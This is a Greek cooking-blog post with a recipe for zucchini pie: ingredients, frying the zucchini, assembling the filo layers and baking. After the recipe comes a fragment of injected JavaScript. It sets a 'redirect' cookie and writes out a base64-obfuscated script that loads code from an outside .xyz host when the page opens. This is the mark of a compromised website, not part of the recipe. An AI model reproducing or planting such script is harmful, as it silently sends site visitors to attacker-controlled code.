Κολοκυθόπιτα

Οι τσουχτροφίλοι μας….  ξαναχτύπησαν!

Αυτή τη φορά έφτιαξαν πίτα.. και τι πίτα… κολοκυθόπιτα!!

 

 

Τα υλικά που θα χρειαστούμε:

  • 1 συσκευασία χοντρό χωριάτικο φύλλο Κανάκη
  • 1 κιλό κολοκυθάκια
  • 3 κρεμμυδάκια φρέσκα
  • Μισό ματσάκι άνηθο
  • 5-6 φύλλα δυόσμου
  • Μισό κιλό φέτα
  • 300 γρ. γιαούρτι (1,5 κεσεδάκι)
  • 2 αυγά (κατά προτίμηση βιολογικά)
  • Ελαιόλαδο, αλάτι, πιπέρι

 

Η διαδικασία που θα πρέπει να ακολουθήσουμε:

  • Τρίβουμε στο χοντρό του τρίφτη τα κολοκυθάκια και ψιλοκόβουμε τα κρεμμυδάκια.
  • Βάζουμε το κολοκύθι σε ένα τηγάνι να φύγουν τα υγρά του.
  • Όταν μαλακώσει και στεγνώσει σχετικά (μετά από 8-10 λεπτά), βάζουμε λίγο ελαιόλαδο και τα κρεμμυδάκια και το μαγειρεύουμε λίγο ακόμα να μαλακώσουν τα κρεμμυδάκια και να γίνει ένα σχετικά σφιχτό μείγμα.
  • Σε ένα μεγάλο μπωλ χτυπάμε τα αυγά με το γιαούρτι και αλατοπιπερώνουμε.
  • Προσθέτουμε ψιλοκομμένο το δυόσμο και τον άνηθο και το μείγμα των κολοκυθιών από το τηγάνι.
  • Ανακατεύουμε καλά και προσθέτουμε λίγη λίγη και τη φέτα που την έχουμε κάνει κομματάκια με ένα πιρούνι. Προσοχή να μην την κάνουμε τελείως τρίμμα γιατί θέλουμε να “καταλαβαίνουμε” τη φέτα στην πίτα.
  • Λαδώνουμε καλά ένα ταψί και στρώνουμε 4 φύλλα τα οποία τα καταβρέχουμε ελαφρά όταν τα τοποθετούμε για να κολλήσουν μεταξύ τους.
  • Από πάνω ρίχνουμε το μείγμα που έχουμε φτιάξει και απλώνουμε ομοιόμορφα.
  • Τοποθετούμε άλλα 3 φύλα στο πάνω μέρος τα οποία επίσης βρέχουμε ελαφρά να κολλήσουν μεταξύ τους. Το πάνω πάνω φύλλο το λαδώνουμε με ένα πινέλο κυρίως στα πλάγια.
  • Το χαράσσουμε προσεκτικά και ελαφρά με ένα μαχαίρι ώστε να φύγουν οι υδρατμοί και να ψηθεί καλύτερα η πίτα μας, και την τοποθετούμε σε προθερμασμένο φούρνο στους 180 βαθμούς για 1 ώρα και 10 λεπτά περίπου.

 

Καλή σας όρεξη!

Πηγή:  Μιρέλλα –  Πάνος

 

 
“+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

You may also like...

Leave a Reply